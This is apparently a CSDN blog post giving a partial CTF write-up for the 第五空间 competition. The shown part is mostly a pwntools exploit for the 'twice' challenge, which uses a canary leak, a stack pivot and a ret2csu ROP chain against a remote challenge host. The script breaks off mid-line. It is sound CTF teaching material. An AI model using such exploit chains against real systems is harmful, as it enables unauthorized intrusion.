第五空间 部分题解

这篇博客主要探讨了第五空间的PWN题目,包括twice题目中栈迁移和ret2csu的技术,以及pwnme通过修改GOT表的unlink方法。此外,还提到了在of题目中遇到的远程与本地文件不一致导致的UAF问题。在RE部分,博主分析了一个类似reverse.kr的replace程序,涉及anti-debug技巧和关键地址的patch操作,以逆向工程思路求解flag。
摘要由CSDN通过智能技术生成

PWN

twice(栈迁移,ret2csu)

第一次先泄露出canary和rbp地址
第二次栈迁移+ROP,先puts泄露出libc,然后ret2csu把新的ROPchain读进来

from pwn import *
from LibcSearcher import *

r = remote("121.36.59.116", 9999)
#r = process("./twice/pwn")
context(arch='amd64', os='linux', log_level='debug')
DEBUG = 0
if DEBUG:
	gdb.attach(r,
	'''
	b *0x400844
	b *0x40087A
	b *0x40091A
	c
	''')
elf = ELF("./twice/pwn")
read_got = elf.got['read']
puts = elf.plt['puts']
pop_rdi = 0x400923
leave = 0x400879
csu1 = 0x40091A
csu2 = 0x400900
ret = 0x40087A

r.recvuntil(">")
r.send('a'*89)
r.recvuntil('a'*89)
canary = u64('\x00' + r.recv(7))
rbp = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
buf = rbp - 0x70
success("canary:"+hex(canary))
success("rbp:"+hex(rbp))
r.recvuntil(">")
payload = p64(pop_rdi) + p64(read_got) + p64(puts)
payload += p64(csu1) + p64(0) + p64(1) + p64(read_got) + p64(0x1000) + p64(rbp) + p64(0) + p64(csu2)
payload = payload.ljust(88, 'a') + p64(canary) + p64(buf-8) + p64(leave)
r.send(payload)
r.recvuntil('\n')
read_addr 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值